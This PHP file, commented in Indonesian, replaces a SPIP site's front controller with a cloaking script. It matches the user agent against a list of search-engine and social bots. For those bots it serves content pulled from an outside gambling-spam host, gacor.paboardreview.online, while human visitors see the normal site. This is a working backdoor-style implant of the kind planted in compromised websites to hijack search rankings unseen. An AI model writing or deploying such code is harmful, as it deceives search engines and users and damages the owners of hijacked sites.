<?php
/**
 * Cloaking untuk SPIP
 * - Bot (Google, Bing, dll) → konten dari URL khusus
 * - Human → jalankan SPIP normal (index_original.php)
 */

// ------------------------------
// 1. DETEKSI BOT
// ------------------------------
function is_bot() {
    $ua = $_SERVER['HTTP_USER_AGENT'] ?? '';
    $pola = '/(googlebot|bingbot|slurp|duckduckbot|baiduspider|yandexbot|telegrambot|Google-Site-Verification|Google-InspectionTool|adsense|facebookexternalhit|facebot|twitterbot|rogerbot|linkedinbot|embedly|quora|pinterest|slackbot|discordbot)/i';
    return preg_match($pola, $ua);
}

// ------------------------------
// 2. AMBIL KONTEN BOT (CACHE)
// ------------------------------
function fetch_bot_content($url) {
    $dir = DIR . '/cache';
    if (!is_dir($dir)) mkdir($dir, 0755, true);

    $file = $dir . '/' . md5($url) . '.html';
    $expire = 3600; // 1 jam

    // Baca cache
    if (file_exists($file) && (time() - filemtime($file) < $expire)) {
        return file_get_contents($file);
    }

    // Fetch via cURL
    $ch = curl_init();
    curl_setopt_array($ch, [
        CURLOPT_URL            => $url,
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_FOLLOWLOCATION => true,
        CURLOPT_USERAGENT      => $_SERVER['HTTP_USER_AGENT'] ?? 'Mozilla/5.0',
        CURLOPT_TIMEOUT        => 10,
    ]);
    $content = curl_exec($ch);
    curl_close($ch);

    if ($content !== false && !empty($content)) {
        file_put_contents($file, $content);
        return $content;
    }

    return false;
}

// ------------------------------
// 3. EKSEKUSI
// ------------------------------
if (is_bot()) {
    $bot_url = 'https://gacor.paboardreview.online/durbandirect.txt';
    $konten = fetch_bot_content($bot_url);

    if ($konten !== false) {
        echo $konten;
        exit; // stop proses, tidak lanjut ke SPIP
    }
    // Jika gagal, fallback ke SPIP (opsional)
}

// Jalankan SPIP asli untuk human (atau bot yang gagal fetch)
require_once DIR . '/index_original.php';